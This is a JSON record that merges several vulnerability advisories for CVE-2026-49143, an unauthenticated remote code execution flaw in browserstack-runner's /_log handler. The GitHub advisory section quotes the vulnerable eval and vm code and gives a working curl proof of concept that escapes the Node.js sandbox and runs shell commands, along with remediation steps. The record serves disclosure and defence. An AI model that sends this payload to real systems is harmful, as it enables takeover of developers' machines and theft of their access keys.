{"id":"GHSA-6vr3-7wcx-v5g5","revision":null,"records":[{"revision":"4214dc7889674b6cad2a0c4ed4ba659c","observedAt":"2026-11-08T16:11:25.944+00:00","statement":{"source":"cve-program","id":"CVE-2026-49143","aliases":[],"title":"BrowserStack Runner 0.9.5 Unauthenticated RCE via /_log HTTP Handler","description":"BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.","state":0,"publishedAt":"2026-06-02T20:31:16.903+00:00","modifiedAt":"2026-11-08T14:04:50.871+00:00","affected":[{"ecosystem":"Vendor product","name":"browserstack-runner","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"affected\",\n                    \"packageURL\": \"pkg:npm/browserstack-runner\",\n                    \"vendor\": \"browserstack\",\n                    \"product\": \"browserstack-runner\",\n                    \"repo\": \"https://github.com/browserstack/browserstack-runner\",\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"0\",\n                            \"versionType\": \"semver\",\n                            \"lessThanOrEqual\": \"0.9.5\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5","https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49143","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49143","identifiers":["CVE-2026-49143"]},"retained":false,"historicalAffected":[]},{"revision":"a4ba90d9396c471d9435a485b2363c4f","observedAt":"2026-11-09T12:05:32.777+00:00","statement":{"source":"euvd","id":"EUVD-2026-34029","aliases":["CVE-2026-49143","GHSA-6vr3-7wcx-v5g5"],"title":"BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the han…","description":"BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5","https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-34029","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 2, 2026, 8:31:16 PM","dateUpdated":"Nov 8, 2026, 2:04:50 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. 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Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.","state":0,"publishedAt":"2026-06-02T21:16:28.07+00:00","modifiedAt":"2026-10-08T16:17:18.667+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5","https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49143","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-06-02T21:16:28.070","lastModified":"2026-10-08T16:17:18.667"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49143","identifiers":["CVE-2026-49143"]},"retained":false,"historicalAffected":[]},{"revision":"1ba05ecf765c490eb4e307e4b21b5c78","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-6vr3-7wcx-v5g5","aliases":["CVE-2026-49143"],"title":"browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler","description":"### Summary\n\nThe HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.\n\n### Details\n\nWhen `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:\n\n```javascript\n// lib/server.js lines 504-510\nvar context = { input: query.arguments, format: util.format, output: '' };\nvar tryEvalOrString = 'function (arg) { try { return eval(\\'o = \\' + arg); } catch (e) { return arg; } }';\nvm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);\n```\n\nThe `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor(\"return process\")()`.\n\nUnlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.\n\n### Proof of Concept\n\n```bash\n# Terminal 1: start the runner\necho '<html><body>t</body></html>' > t.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"t.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' > browserstack.json\nnode bin/runner.js\n\n# Terminal 2: exploit\ncurl -s http://127.0.0.1:8888/_log \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"arguments\":[\"this.constructor.constructor(\\\"return process.mainModule.require(\\`child_process\\`).execSync(\\`id\\`).toString()\\\")()\"]}'\n\n# Terminal 1 output shows:\n# [undefined] uid=1000(user) gid=1000(user) ...\n```\n\n### Impact\n\nAn attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.\n\n### Remediation\n\n1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging\n2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)\n3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`\n\n### Credit\n\nChrist Bowel Bouchuen","state":0,"publishedAt":"2026-06-03T21:39:32+00:00","modifiedAt":"2026-06-03T21:56:25.541425+00:00","affected":[{"ecosystem":"npm","name":"browserstack-runner","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"0.9.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5","https://nvd.nist.gov/vuln/detail/CVE-2026-49143","https://github.com/browserstack/browserstack-runner","https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"],"sourceUrl":"https://github.com/advisories/GHSA-6vr3-7wcx-v5g5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6vr3-7wcx-v5g5","identifiers":["GHSA-6vr3-7wcx-v5g5","CVE-2026-49143"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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